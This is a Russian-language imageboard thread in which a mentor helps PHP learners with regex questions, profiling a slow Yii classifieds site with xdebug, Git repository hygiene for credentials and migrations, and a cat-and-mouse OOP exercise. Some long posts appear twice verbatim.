Нельзя. имена классов могут быть разделены не только пробелом, но и другими пробельными символами, например таб \t и перевод строки \n. А почему ты так избегаешь регулярки? Если ты их не изучил еще, это повод за них взяться.
Какой мудак будет разделять классы табуляциями и переносами? Может еще вертикальную табуляцию или какой-нибудь экзотический \ff?
Ну хорошо, пусть будет split(/\s/)
Стандарт HTML разрешает:
https://html.spec.whatwg.org/#classes
> The classes that an HTML element has assigned to it consists of all the classes returned when the value of the class attribute is split on spaces. (Duplicates are ignored.)
https://html.spec.whatwg.org/#space-character
> The space characters, for the purposes of this specification, are U+0020 SPACE, U+0009 CHARACTER TABULATION (tab), U+000A LINE FEED (LF), U+000C FORM FEED (FF), and U+000D CARRIAGE RETURN (CR).
Таб разрешен так как он во многих языках является пробельным символом. Перевод строки тоже в общем имеет смысл, если классов очень много. Символ \r используется в переводе строки под windows (\r\n), а кто и для чего использует \f я не знаю.
[a-z] выбирает одну букву латинского алфавита от а до z, если хочешь выбрать несколько, например, 3, то пишешь [a-z]{3}, ну это как я понял.
“I know, I'll use regular expressions.” Now they have two problems.
Прошлые замечания http://pastebin.com/11PAUhyc исправил как мог. Джаваскрипт действительно лучше больше не смотри, мне лучше сначала основательно подучить теорию.
Давно не постил, потому что был занят другим проектом, делал сайт объявлений на yii. Там больше времени потратил на возню с eav, чем с самим фреймворком.
Тоже посмотри пожалуйста, наверняка ты найдешь, что можно поправить и улучшить. https://github.com/nsdvw/classifieds
У меня есть некоторые смутные вопросы по этому проекту.
Использование nested sets приводит к чудовищно медленным результатам поиска. Как бы это оптимизировать? Вот у меня есть категория высокого уровня, например "легковые автомобили". Соответственно при поиске по данной категории нужно вывести всех потомков, а это сотни категорий моделей и марок. Таким образом у нас получается очень некрасивый запрос WHERE category_id IN (сотни айдишников). Что с этим можно сделать? Потому что это никуда не годится, у меня в базе десяток объявлений, а оно ищет 3 секунды. Что будет при миллионах записей и сотнях параллельных запросов?
> Что с этим можно сделать? Потому что это никуда не годится, у меня в базе десяток объявлений, а оно ищет 3 секунды
А почему ты думаешь что тормозит именно SQL? У тебя есть текст конкретного запроса который тормозит?
Я думаю, это хороший пример чтобы научиться искать узкие места.
Для начала тебе надо найти проблемные места в общем, то есть на уровне PHP кода понять какая функция медленно работает. Тут можно поступить 2 способами:
- установить и настроить профайлер (xdebug) и с ним выполнить скрипт в режиме профайлинга. xdebug сгенерирует отчет в котором будет видно какая функция сколько времени заняла. Как его настраивать — попробуй для начала поискать сам, может есть хорошая статья. Если нет, напиши, я прокомментирую. Там надо установить расширение php, дописать какие-то настройки в php.ini и запустить скрипт с доплонительным GET-параметром
- как-то по-простому натыкать команд которые замеряют время вызова разных функций и найти проблемную. Ну и сам Юи вроде в режиме отладки пишет время выполнения и выполняемые SQL запросы.
Первый вариант конечно посложнее, но он полезен в том плане что ты научишься делать профайлинг.
После того как ты разберешься на что уходит время, мы посмотрим что делать дальше. Если это медленный SQL запрос то будем учиться как их анализировать и оптимизировать. Если это PHP код, опять же, будем разбираться.
Я сомневаюсь что дело в nested sets.Это как раз сильно оптимизированная структура.
Ок, возьмусь, пожалуй, за кошки-мышки и далее буду углубляться в бэкэнд. HTML/CSS я потрогал в бесплатной части htmlacademy, не понравилось, очень муторно показалось этим заниматься. JS тоже потрогал, тоже не понравилось, как-то запутано все, замыкания эти извращенческие, на первый взгляд вроде понятно, а потом начинается коллбэк на коллбэке сидит и коллбэком погоняет, оберни ее оберни оберни оберни еще раз, в общем решил отложить на потом. Может со второй попытки лучше зайдет. В PHP по сравнению с этим прелесть как очевидно и просто все. Понимаю, что все равно придется изучать, вроде в твоей программе обучения это нужно для написания файлообменника, когда дойду, так и повторю погружение.
Ну наши задачи на HTML/CSS, они там в начале очень простые и только потом становятся сложнее. Ну и я подсказываю обычно если что-то не так. Ты наверно просто какую-то вещь не понял и из-за этого запнулся.
Я бы не сказал что HTML/CSS такие уж сложные, да, там есть сложные места но в них можно разобраться.
Хорошо, ждем от тебя реализацию кошек-мышек.
Да нет, трудности и неприятие только с JS возникли. HTML/CSS просто очень нудные, над PHP кодом я могу часов 5 просидеть, потом теряется концентрация, замыливается глаз, начинаются глупые опечатки и тому подобные вещи. Над версткой посидел полчаса и привет квадратная голова, постоянно отвлекаешься, в общем не возникает увлеченности процессом, когда вроде только сел а на самом деле уже несколько часов прошло.
интересно как, взял разбил файл на типы и в зависимости от его типа (видео, имг, зип) подключаешь разные вьюхи-шаблоны. А можно я некоторые приемы у него возьму?
А в чем еще, как не в sql?
Хорошо, буду сегодня копаться с xdebug, давно пора.
У yii кстати тоже есть какой-то логгер, но я не понимаю, как анализировать ту инфу, которую он вываливает.
>>550305
Я неон.
>>550306
Мне тоже.
И это здорово, потому что свидетельствует о левел-апе: если наш старый код кажется нам хуже, значит очевиден прогресс.
>>550308
Тип можно определить например через объект finfo (см. php.net) в конструкторе модели. Затем ради красоты обернуть в методы такие как isImage, isVideo, где тупо проверяется белый список mime-типов.
Хочешь используй мой код, мне по-барабану. Хотя полезнее было бы научиться самостоятельно выводить алгоритм.
Начинает подташнивать уже от вашей рефлексии. Приходят и
прибедняются, причем с очевидным подтекстом, чтобы их утешили, погладили по головке и сказали "ты у мамы умный, просто верь в себя".
Нет, я к файлообменнику только приступаю. Сижу, второй день мануалы по доктрине курю.
Как раз к этому посту такая мысль уже появилась написать то же самое, но лень сделала свое дело.
Двачую. На 500 постов не больше 50 попыток решить детские задачи опа или вопросов по делу, зато все засрано мотиваторами в духе "как стать успешным нихуя не делая".
Впрочем в этом весь двач.
Таки sql тормозит.
Включил логи yii, привожу скрин (не могу понять, в какой файл оно сохраняет логи, стыд).
Тормозит запрос вида
SELECT * FROM `category` `t` WHERE (`t`.`lft`>2 AND
`t`.`rgt`<2537) AND (`t`.`root`=:ycp0) ORDER BY `t`.`lft`
на строке
in /home/inside/www/yii.test/public/protected/models/Category.php (141)
которая выглядит так
$descendants = $category->descendants()->findAll();
Я использую библиотеку nested-set-behavior.
Метод descendants
https://github.com/yiiext/nested-set-behavior/blob/master/NestedSetBehavior.php#L33
Я нашел метод и вызванный им запрос, вызывающий тормоза. Что мне делать дальше?
Выполни этот запрос в командной строке MySQL (добавь для надежности SQL_NO_CACHE после SELECT ) и проверь точно ли он столько времени занимает и сколько результатов выводится.
Что поставить вместо :ycp0 можно определить с помощью var_dump
Я кстати замечу что твой запрос можно оптимизировать еще дальше, тебе ведь не нужна вся таблица а нужны только id категорий, можно ускорить его чуть-чуть если выбирать только их. Но это давай уже потом, после того как разберемся с основной проблемой.
Разберись с профайлингом, это полезный навык.
Тебе надо:
- установить расширение xdebug нужной версии и типа. Так как у тебя что-то напоминающее Убунту ли Дебиан, то, хорошая новость, тебе скорее всего достаточно сделать sudo pecl install xdebug
Мануал: http://php.net/manual/ru/install.pecl.pear.php
В debian/ubuntu, как я помню, файл php.ini разбит на отдельные файлы, и при установке расширения ты получишь где-то в /etc/php.d/ файл xdebug.ini с его настройками. Там ты можешь поменять что надо.
Сам процесс профайлинга описан тут: http://www.xdebug.org/docs/profiler
Обрати внимание:
> You can also selectively enable the profiler with the xdebug.profiler_enable_trigger setting set to 1. If it is set to 1, then you can enable the profiler by using a GET/POST or COOKIE variable of the name XDEBUG_PROFILE
Упомянутая настройка включает профайлер только если в GET или POST содержится параметр XDEBUG_PROFILE=1. Советую ее и использовать.
Если надо отпрофайлить CLI-скрипт то можно дописать к параметрам PHP -d что-то-там=1
Далее, ты запускаешь свой скрипт с этим профайлером и xdebug кладет отчет в указанную в настройках папку. Отчет можно просмотреть как программой KCacheGrind (или аналогичной работающей с форматом cachegrind) так и установив веб-приложение WebCacheGrind.
Обрати внимание что там есть разные варианты просмотра статистики, можно выводить функции по порядку выполнения, а можно группироать и выводить сначала самые тяжелые.
Обрати также внимание, что там выводится 2 разных времени для каждой функции: общее время выполнения и собственное, то есть без учета выполнения вызываемых из нее функций.
Вообще, некоторые IDE вроде PhpStorm содержат средства для взаимодействия с xdebug ( https://confluence.jetbrains.com/display/PhpStorm/Profiling+PHP+applications+with+PhpStorm+and+Xdebug ) но думаю первый раз лучше делать все руками.
Если сам не разберешься, можешь заархивировать отчет и залить на файлообменник.
Я кстати замечу что твой запрос можно оптимизировать еще дальше, тебе ведь не нужна вся таблица а нужны только id категорий, можно ускорить его чуть-чуть если выбирать только их. Но это давай уже потом, после того как разберемся с основной проблемой.
Разберись с профайлингом, это полезный навык.
Тебе надо:
- установить расширение xdebug нужной версии и типа. Так как у тебя что-то напоминающее Убунту ли Дебиан, то, хорошая новость, тебе скорее всего достаточно сделать sudo pecl install xdebug
Мануал: http://php.net/manual/ru/install.pecl.pear.php
В debian/ubuntu, как я помню, файл php.ini разбит на отдельные файлы, и при установке расширения ты получишь где-то в /etc/php.d/ файл xdebug.ini с его настройками. Там ты можешь поменять что надо.
Сам процесс профайлинга описан тут: http://www.xdebug.org/docs/profiler
Обрати внимание:
> You can also selectively enable the profiler with the xdebug.profiler_enable_trigger setting set to 1. If it is set to 1, then you can enable the profiler by using a GET/POST or COOKIE variable of the name XDEBUG_PROFILE
Упомянутая настройка включает профайлер только если в GET или POST содержится параметр XDEBUG_PROFILE=1. Советую ее и использовать.
Если надо отпрофайлить CLI-скрипт то можно дописать к параметрам PHP -d что-то-там=1
Далее, ты запускаешь свой скрипт с этим профайлером и xdebug кладет отчет в указанную в настройках папку. Отчет можно просмотреть как программой KCacheGrind (или аналогичной работающей с форматом cachegrind) так и установив веб-приложение WebCacheGrind.
Обрати внимание что там есть разные варианты просмотра статистики, можно выводить функции по порядку выполнения, а можно группироать и выводить сначала самые тяжелые.
Обрати также внимание, что там выводится 2 разных времени для каждой функции: общее время выполнения и собственное, то есть без учета выполнения вызываемых из нее функций.
Вообще, некоторые IDE вроде PhpStorm содержат средства для взаимодействия с xdebug ( https://confluence.jetbrains.com/display/PhpStorm/Profiling+PHP+applications+with+PhpStorm+and+Xdebug ) но думаю первый раз лучше делать все руками.
Если сам не разберешься, можешь заархивировать отчет и залить на файлообменник.
Ты наверное хотел сказать субд, а не бд. База данных это всего лишь совокупность данных.
А какие ты знаешь? Проанализируй преимущества их использования в твоем конкретном проекте и выбери ту субд, которая больше удовлетворяет требованиям.
Ибо она простая и очень быстрая.
>Если сам не разберешься
>пикрелейтед
Я вижу много цветных квадратиков. Не очень понимаю, что с ними нужно делать.
40 мб, господи. Вот это отчет, я понимаю.
http://rghost.ru/68rJb77cV
>Мэтт Зандстра — PHP: Объекты, шаблоны, методики программирования
с нормальным интерактивным оглавлением?
>>550368
В общем, если я правильно догадался, то проблема в следующем: выбирая из базы 1200 с лишним записей, yii в цикле присобачивает к каждой из них поведение. Мне на самом деле нужны только айдишники, модели не нужны, и уж тем более не нужны модели с поведением.
Так что твое абсурдное замечание
> "можно оптимизировать еще дальше, тебе ведь не нужна вся таблица а нужны только id категорий, можно ускорить его чуть-чуть если выбирать только их"
оказалось на деле пророческим. Колонки, в которых хранятся integer-данные типа left и right не так и перегружают приложение, а вот тот факт что при создании экземпляра объекта к нему еще применяется куча модификаций вроде навешивания событий и поведений, это оказалось критическим.
В общем, попробую сделать так, чтобы из базы выбирались только айдишники в массив, должно помочь.
А вообще интересный урок получился. Почему забросил блог и больше не пишешь? Вот мог бы написать статью про использование профайлера, посты в треде все равно быстро тонут, и часто мечешь свои длиннопосты перед свиньями, а так сохранится навечно.
http://ideone.com/e02uDB
Ещё возник вопрос: можно ли как-нибудь, не вводя новую переменную, в строку ввести математическое выражение? Например, чтобы в операции
echo "$a + $b"
выводилось не значение а + значение b, а значение (а+b).
Ок, давай разбираться с просмотром отчетов. Я не знаю точно что там где в KCacheGrind, потому покажу на примере WinCacheGrind. Думаю, в KCacheGrind при желании можно найти аналогичные таблицы. Если не найдешь, то можно попробовать WebCacheGrind как альтернативу.
Также, в WinCacheGrind есть маленький баг, она показывает время в 10 раз меньше реального. Так что не забывай домножать все со скриншотов на 10.
На первом скриншоте мы видим:
- слева так назывемый call graph, граф вызовов. Он показывает в каком порядке вызывались функции при выполнении программы, причем раскрывая пункты можно увидеть какие функции вызывались из данной. Там довольно много вызовов метода __desctruct. Деструктор — это метод который вызывается при уничтожении объекта. По завершению программы все ранее не удаленные переменные удаляются и для удаляемых объектов вызываются деструкторы. Несмотря на то, что их много, время выполнения их ничтожно.
- справа окно, которое показывает какие функции вызвались из текущей (выбранной слева). Во вкладке Line By Line показываются только непосредственно вызыванные из нее функции по одной, а на вкладке Overall все, включая глубоко вложенные, причем даже если функция вызвана несколько раз, то она группируется в одну строчку. Функции удобно отсортированы по общему времени выполнения так, что вверху самая тяжелая и кликая по ней, мы переходим к ней и видим что она вызвала, в свою очередь.
Обрати внимание, что у функций есть общее (включая время вложенных вызовов) и собственное (то есть время выполнения кода в самой функции без вложенных вызовов) время. Также надо различать время потраченное на один вызов функции (Avg. Self/Avg. Cum.) и суммарное (Total Self/Total Cum.), потраченное на все вызовы, если функция была вызвана несколько раз. Суммарное время есть на вкладке Overall.
Там кстати есть кнопочка, позволяющая скрыть быстро выполняемые функции.
В твоем KCacheGrind наверняка есть аналогичные виды.
Спускаясь так по дереву вызовов, мы приходим к тому что видим на скриншоте 2. Мы видим что в actionSearch почти все время заняли 2 функции: getDescendantIds и render. Ну, с render() мы наверно пока ничего не сделаем, а вот getDescendantIds стоит проверить, что она там делает целых 6700 мс?
Спускаясь далее, мы доходим до изображенной на скриншоте 3 ситуации. Как мы видим, теперь все функции занимаеют по отдельности немного, около 6-12 мс каждая, но зато вызово очень много (вкладка Overall говорит что их тысячи). Анализировать их по отдельности бесполезно, потому переключимся на статистику в Overall.
Поднявшись на 1 шаг вверх (в функцию CActiveRecord->query()) и переключившись на Overall, отсортировав список по колонке Total Self, мы видим что время (Self Time) расходуется на тысячи мелких вызовов вроде attachBehaviours, attachEventHandler, getMetaData (скриншот 4).
Таким образом, мы видим что большое время выполнения получается из-за загрузки через Activerecord более 1000 записей. Хотя загрузка и инициализация одной модели занимает порядка 6мс, тысяча вызовов дает уже 6 секунд. Действительно, загружать большое число объектов через ORM не лучшая идея.
Наверно ActiveRecord можно как-то чуть-чуть разогнать, может быть там можно что-то закешировать, но более правильной идеей будет не загружать 1000 записей только ради получения id категорий. Сделай отдельный метод в модели Category, получающий только id вложенных записей.
Надо обязательно, чтобы ты прошел этот же путь сам. Если не можешь найти нужные опции или таблиы в KCahe Grind, установи WebGrind — его интерфейс близок к тому что на скриншотах. Но важно чтобы ты научился искать таким образом проблемные места в коде.
Жаль, на этом примере нам не удалось изучить оптимизацию SQL запросов, это ведь важная тема. Но может быть у нас еще есть шанс это сделать. Для этого тебе надо перейти от базы с 10 записями к реалистичной базы с сотнями тысяч и миллионами записей — тогда проблемы и узкие места в запросах выйдут на первый план.
Для генерации такой базы тебе придется написать скрипт генерации пользователей, объявлений. Имена и тексты может генерировать библиотека Faker. Помни что вставка отдельными запросами будет медленная и стоит вставлять данные транзакциями по 1000 - 10000 записей или мультиинсертами. Подробнее про вставку больших объемов данных в MySQL написано тут (англ): https://dev.mysql.com/doc/refman/5.5/en/optimizing-innodb-bulk-data-loading.html
Ок, давай разбираться с просмотром отчетов. Я не знаю точно что там где в KCacheGrind, потому покажу на примере WinCacheGrind. Думаю, в KCacheGrind при желании можно найти аналогичные таблицы. Если не найдешь, то можно попробовать WebCacheGrind как альтернативу.
Также, в WinCacheGrind есть маленький баг, она показывает время в 10 раз меньше реального. Так что не забывай домножать все со скриншотов на 10.
На первом скриншоте мы видим:
- слева так назывемый call graph, граф вызовов. Он показывает в каком порядке вызывались функции при выполнении программы, причем раскрывая пункты можно увидеть какие функции вызывались из данной. Там довольно много вызовов метода __desctruct. Деструктор — это метод который вызывается при уничтожении объекта. По завершению программы все ранее не удаленные переменные удаляются и для удаляемых объектов вызываются деструкторы. Несмотря на то, что их много, время выполнения их ничтожно.
- справа окно, которое показывает какие функции вызвались из текущей (выбранной слева). Во вкладке Line By Line показываются только непосредственно вызыванные из нее функции по одной, а на вкладке Overall все, включая глубоко вложенные, причем даже если функция вызвана несколько раз, то она группируется в одну строчку. Функции удобно отсортированы по общему времени выполнения так, что вверху самая тяжелая и кликая по ней, мы переходим к ней и видим что она вызвала, в свою очередь.
Обрати внимание, что у функций есть общее (включая время вложенных вызовов) и собственное (то есть время выполнения кода в самой функции без вложенных вызовов) время. Также надо различать время потраченное на один вызов функции (Avg. Self/Avg. Cum.) и суммарное (Total Self/Total Cum.), потраченное на все вызовы, если функция была вызвана несколько раз. Суммарное время есть на вкладке Overall.
Там кстати есть кнопочка, позволяющая скрыть быстро выполняемые функции.
В твоем KCacheGrind наверняка есть аналогичные виды.
Спускаясь так по дереву вызовов, мы приходим к тому что видим на скриншоте 2. Мы видим что в actionSearch почти все время заняли 2 функции: getDescendantIds и render. Ну, с render() мы наверно пока ничего не сделаем, а вот getDescendantIds стоит проверить, что она там делает целых 6700 мс?
Спускаясь далее, мы доходим до изображенной на скриншоте 3 ситуации. Как мы видим, теперь все функции занимаеют по отдельности немного, около 6-12 мс каждая, но зато вызово очень много (вкладка Overall говорит что их тысячи). Анализировать их по отдельности бесполезно, потому переключимся на статистику в Overall.
Поднявшись на 1 шаг вверх (в функцию CActiveRecord->query()) и переключившись на Overall, отсортировав список по колонке Total Self, мы видим что время (Self Time) расходуется на тысячи мелких вызовов вроде attachBehaviours, attachEventHandler, getMetaData (скриншот 4).
Таким образом, мы видим что большое время выполнения получается из-за загрузки через Activerecord более 1000 записей. Хотя загрузка и инициализация одной модели занимает порядка 6мс, тысяча вызовов дает уже 6 секунд. Действительно, загружать большое число объектов через ORM не лучшая идея.
Наверно ActiveRecord можно как-то чуть-чуть разогнать, может быть там можно что-то закешировать, но более правильной идеей будет не загружать 1000 записей только ради получения id категорий. Сделай отдельный метод в модели Category, получающий только id вложенных записей.
Надо обязательно, чтобы ты прошел этот же путь сам. Если не можешь найти нужные опции или таблиы в KCahe Grind, установи WebGrind — его интерфейс близок к тому что на скриншотах. Но важно чтобы ты научился искать таким образом проблемные места в коде.
Жаль, на этом примере нам не удалось изучить оптимизацию SQL запросов, это ведь важная тема. Но может быть у нас еще есть шанс это сделать. Для этого тебе надо перейти от базы с 10 записями к реалистичной базы с сотнями тысяч и миллионами записей — тогда проблемы и узкие места в запросах выйдут на первый план.
Для генерации такой базы тебе придется написать скрипт генерации пользователей, объявлений. Имена и тексты может генерировать библиотека Faker. Помни что вставка отдельными запросами будет медленная и стоит вставлять данные транзакциями по 1000 - 10000 записей или мультиинсертами. Подробнее про вставку больших объемов данных в MySQL написано тут (англ): https://dev.mysql.com/doc/refman/5.5/en/optimizing-innodb-bulk-data-loading.html
Убрал orm, использовал dao для выборки айдишников.
https://github.com/nsdvw/classifieds/blob/master/protected/models/Category.php#L137
Приложение теперь запускается 0.77 секунды, а не 2.85 как раньше.
Счастье.
А, ты уже сам разобрался. Ну вот и славно.
> то проблема в следующем: выбирая из базы 1200 с лишним записей, yii в цикле присобачивает к каждой из них поведение.
Я думаю, там дело не только в поведении, а в том что модель AcriveRecord довольно сложный объект с кучей подобъектов, и ее создание не бесплатное. ORM известны большим потреблением ресурсов при работе с большим количеством объектов.
> оказалось на деле пророческим.
Ну, опыт и интуиция подсказали мне ответ до того как я видел отчет, но я не хотел лишать тебя удовольствия самому обнаружить причину.
> Почему забросил блог
Все как-то времени нет, у меня уже куча черновиков раскидана, которые я пока что загружаю на гитхаб:
https://gist.github.com/codedokode
https://github.com/codedokode/pasta
> Yii::app()->db->createCommand()
>\t\t\t->select('id')
>\t\t\t->from('category')
Query Builder используется для построения запроса по частям, когда например часть запроса может отстутствовать в зависимости от условия. Если запрос неизменен, то использовать Query Builder смысла нет и гораздо удобнее записать его SQL кодом. Как минимум там будет меньше стрелок и кавычек.
Также изучи DAO повнимательнее: там уже есть метод для выбора колонки в массив: http://www.yiiframework.com/doc/api/1.1/CDbCommand#queryColumn-detail
>маленький баг, она показывает время в 10 раз меньше реального
О, я вот как раз не мог понять, что там за цифры: 60 для милисекунд вроде мало, для секунд много.
Хороший инструмент, мне нравится.
Да, я как раз думал посмотреть faker, чтобы нагрузить базу. Плюс какой-нибудь ab (апач бенчмарк) для тестов.
Потому что первый yii меня что-то не впечатляет, какой-то он кривой, медленный.
Так что будет нелишним.
>>550428
>времени нет
В треде же пишешь длиннопосты, разве займет время скопировать пост в виде гист на гитхаб?
Досадно что оно тонет, иногда хочется перечитать, а прошлый тред уже утонул.
Буду тогда сам сохранять твои посты, потому что у меня память не идеальная, я все с первого раза не могу запомнить.
Там же только старые, или я опять туплю.
Зачем в строке проводить математические операции?
Вычисление можно произвести отдельно и приконкатенировать (присоединить к строке).
echo "Результат равен " . ($a + $b);
Оператор объединения строк . (точка), склеивает строку слева со строкой справа. Если один из операндов не строка (в нашем случае integer), то приводит (преобразует) его к строке.
Метод getDescendantIds логичнее сделать нестатическим, чтобы он вызывался на модели. И убрать аргумент $id. Ты же все равно там делаешь getByPk.
С этого момента все аноны смогут разобраться со всеми своими проблемами, решат любые задачи и выучат без проблем любой язык :3
Гуру, чего сердитый такой на анонов, велосипед украли? Так это не проблема, мы с анонами тебе новых кучу наделаем.
Анон, у тебя в репозитории не хватает файла README.md в котором было бы кратко написано:
- что это за проект
- как его развернуть по шагам (склонировать репозиторий, прописать настройки, залить дамп)
В файле md можно использовать язык разметки маркдаун (точнее его диалект Github Flavoured Markdown):
https://daringfireball.net/projects/markdown/syntax (англ, офиц.)
http://www.diy.ru/info/markdown/ (рус, кратко)
http://vstarkov.ru/markdown-basics/ (рус, кратко)
Особенности GFM написаны тут:
https://help.github.com/articles/github-flavored-markdown/
Также, я не вижу SQL дампа. У тебя там есть пара миграций но этого явно недостаточно.
Помоги, пожалуйста
структура папок пикрелейтед
Например, есть у меня MyApp\Model\SomeClass.
Как мне нужно к нему обращаться в клиентском коде:
use MyApp\Model\SomeClass;
$x = new SomeClass();
или просто
$x = new MyApp\Model\SomeClass();
При том что у меня только одна строчка с обращением к этому классу.
Можно и как второй, но первый вариант будет выглядеть аккуратнее. Я использую первый, а use я руками не пишу, их ставит расширение к ST3 (PhpCompanion). Если ты используешь нормальную IDE, то она тоже это умеет.
Вот например PhpStorm: https://www.jetbrains.com/phpstorm/help/creating-imports.html#d830198e157
А руками конечно писать неудобно.
Всё, я понял почему.
вот этим вот публик хтмпл и плох.
В Юи есть такая штука как assets и с ее помощью ты можешь публиковать папки в веб-директорию, разберись как оно работает. Там по моему метод назвается publish() или как-то так.
Вообще, странная схема хранить публичные картинки за пределами веб-директории. Впрочем в Юи видимо это сделано для возможности препроцессинга файлов до публикации.
Да пусть ОП хоть на стены ссыт, лишь бы и дальше код проверял с такой дотошностью.
штука странная, но взгляни на структуру папок, как иначе? нужно чтобы и backend и frontend мог работать с этими изображениями.
Через assets как-то тупо, но, возможно, придется
Не как-то тупо, а разберись как работают ассеты и управление ими в Юи. Они вроде для этого и предназначены.
Перекот на 700-800 посте обычно.
http://plnkr.co/edit/rsPZgtd1XjCrzOCbAq1P?p=preview
Это первое, что я написал после learn.js (если не считать задачек в самом учебнике), какие самые главные моменты которые стоило бы переработать, чтобы оно не было говнокодом?
Конечно конфиги продакшена, пароли и ключи не должны быть в общедоступном репозитории. Они должны быть только у тех у кого должен быть к ним доступ, может быть где-то в приватном репозитории или еще где-то.
В основном репозитории должны быть только значения которые безопасно опубликовать, например от локалхоста.
А настройки на продакшен можно ставить так:
- можно сделать отдельный файл, например config/db.local.php или config/prod/db.php которого нет в основном репозитории и который выгружается откуда-то еще. Код на продакшене должен прочитать его (если он есть) и внести изменения из него.
Удобно в дополнительном конфиге хранить только те данные, что поменялись в сравнении с основным конфигом.
По идее в фреймворке должно быть что-то для поддержки этого. Гугление ничего не дело, но имя конфига задается в index.php, наверно можно что-то в нем подправить для этого.
- можно при деплое (процессе выгрузки кода из git на сервер) заменять config/db.php на нужный файл
Заметь также то процесс выгрузки кода на продакшен (деплой) надо автоматизировать. Незачем тратить драгоценное время разработчика на ручную возню с заменой или редактированием файлов каждый раз (да и ошибку сделать можно). Я использую bash скрипты, кто-то пишет конфиги для систем вроде Ansible. Кто-то использует хуки для гита, то есть при пуше в определенную ветку (production) на сервере начинается деплой.
Если что-то непонятно, задавай вопросы, так как тема важная.
Многое непонятно, так как я делаю, можно сказать, свой первый hello world на Yii2, а с такими штуками, как деплой приложения в продакшен вообще ещё не знаком.
Пока что интересует только вопрос, связанный с заливанием конфигов в публичный репозиторий.
Нормально будет, если этот конфиг db.php будет брать credential-ы из другого php-файла, который добавлен в .gitignore?
Кстати, вот насчёт этого index.php и прописанного там конфига. В стандартном шаблоне в той же директории есть файлик index-test.php, который, судя по всему, тоже служит для чего-то подобного. Там и путь к конфигу другой указан:
$config = require(__DIR__ . '/../tests/codeception/config/acceptance.php');
Может быть в эту сторону стоит копать? Или это для автоматических тестов?
Он для запуска тестов.
> Нормально будет, если этот конфиг db.php будет брать credential-ы из другого php-файла, который добавлен в .gitignore?
А на локалхосте это работать нормально будет?
На локалхосте да, но другим, если они выкачают код из репозитория, придется править этот конфиг вручную на значения своей БД. Ну и, соответственно, иметь на своем компьютере такую же базу даных с такой же структурой.
Хм. А по идее, базу данных, с которой работает приложение, нужно тоже в репозиторий как-то заливать?
Делается дамп структуры (то есть CREATE TABLE) и кладется, дальнейшие изменения ты делаешь через миграции БД (изучи что это и как работает в Юи).
Также, если есть какие-то справочники (например таблица городов) то надо либо сделать дамп для них либо скрипт их заполнения.
Главная идея — чтобы любой разработчик мог максимально быстро и удобно развернуть локальную копию сайта (например просто запустив прилагаемый скрипт). Также это пригодится если ты захочешь делать автоматические тесты, тестовому скрипту надо будет автоматически разворачивать копию сайта на сервере.
Сами данные с продакшена нельзя использовать на локальном сервере, там могут быть email и пароли пользователей, может какие-то платежные данные. Для локалхоста по идее надо делать базу с искуственными данными либо скрипты наполняющие ее случайно сгенерированными данными. Наример библиотека Faker умеет их генерировать.
На практике в большинстве случаев (в не очень профессиональных командах и на фрилансе) на это забивают и либо это проблема разработчика как заполнять базу на локалхосте либо исплоьзуют продакшен базу со всеми последствиями вроде случайной отправки писем или смс с локалхоста реальным пользователям. Либо вообще все как-то настроено на продакшен сервере и никто не знает толком как это развернуть у себя. Не рекомендую так делать.
В правильном проекте сайт можно развернуть максимально автоматически на любом сервере.
Понял, спасибо! Как раз читаю про миграции.
>>549825
https://github.com/someApprentice/Cat-and-Mouse
>http://apps.perfect-skin.com.ua/cat/ (сейчас анимации нет так как анон поленился скачать нужные скрипты к себе на сайт и подключил их с удаленного сервера который сейчас отдает ошибку. Если ты скачаешь все к себе на локалхост и разберешься с этим багом то все заработает. Не подключайте скрипты с внешних серверов).
Буду рад сделать это позже, но сейчас я знаком с JS только поверхностно и хочу сначала разобраться со своим кодом.
>> Почему лучше использовать $this->getProperty() вместо $this->property?
>Инкапсуляция. Представь что завтра тебе надо возвращать число в 2 раза больше. В первом случае ты меняешь только метод getProperty(), во втором ищешь по всему коду $this->property и 100 раз дописываешь умножение на 2.
А разве свойство property не будет равно последнему изменению?
Окей, допустим я начинаю что-то понимать. Практическое применение инкапсуляции это написание API?
>Также можно доабвить абстрактные методы для того чтобы потомки определили какие-то обязательные вещи (например $hunted, символ-обозначение).
А как узнать какие вещи обязательные? Я бы все их сделал такими.
>Далее, у тебя есть свойство die — оно как-то используется? Если нет, какой от него прок? Съеденных животных надо как минимум снимать с карты.
Как минимум для этого оно и было сделано, но пока я не научился выводить все на страницу - я не могу это применить на практике. Однако, я скоро это исправлю.
>> Почему-то здесь код крашиться, если использвовать throw new Exception(" - They Die ~((‡> <br>");
>Как именн крашится? В чем это проявляется? Непойманное исключение как раз и завершает программу. Также, у тебя плохое сообщение об ошибке так как оно не пишет никаких подробностей, например кто именно умер.
Окей, я понял что нужно самому разобраться с ошибкой. Я могу сделать это. Только это возможно как я все выведу это на страницу. Завтра буду изучать HTML\CSS. Хотя, может быть, мне будет лень и я выведу все с помощью таблицы (◠‿◠)
https://github.com/someApprentice/Cat-and-Mouse/blob/master/Classes/Mouse.php#L7
https://github.com/someApprentice/Cat-and-Mouse/blob/master/Classes/Cat.php#L7
Наверно это нужно объединить в один класс с указанием в какую сторону нужно сортировать?
>>549825
https://github.com/someApprentice/Cat-and-Mouse
>http://apps.perfect-skin.com.ua/cat/ (сейчас анимации нет так как анон поленился скачать нужные скрипты к себе на сайт и подключил их с удаленного сервера который сейчас отдает ошибку. Если ты скачаешь все к себе на локалхост и разберешься с этим багом то все заработает. Не подключайте скрипты с внешних серверов).
Буду рад сделать это позже, но сейчас я знаком с JS только поверхностно и хочу сначала разобраться со своим кодом.
>> Почему лучше использовать $this->getProperty() вместо $this->property?
>Инкапсуляция. Представь что завтра тебе надо возвращать число в 2 раза больше. В первом случае ты меняешь только метод getProperty(), во втором ищешь по всему коду $this->property и 100 раз дописываешь умножение на 2.
А разве свойство property не будет равно последнему изменению?
Окей, допустим я начинаю что-то понимать. Практическое применение инкапсуляции это написание API?
>Также можно доабвить абстрактные методы для того чтобы потомки определили какие-то обязательные вещи (например $hunted, символ-обозначение).
А как узнать какие вещи обязательные? Я бы все их сделал такими.
>Далее, у тебя есть свойство die — оно как-то используется? Если нет, какой от него прок? Съеденных животных надо как минимум снимать с карты.
Как минимум для этого оно и было сделано, но пока я не научился выводить все на страницу - я не могу это применить на практике. Однако, я скоро это исправлю.
>> Почему-то здесь код крашиться, если использвовать throw new Exception(" - They Die ~((‡> <br>");
>Как именн крашится? В чем это проявляется? Непойманное исключение как раз и завершает программу. Также, у тебя плохое сообщение об ошибке так как оно не пишет никаких подробностей, например кто именно умер.
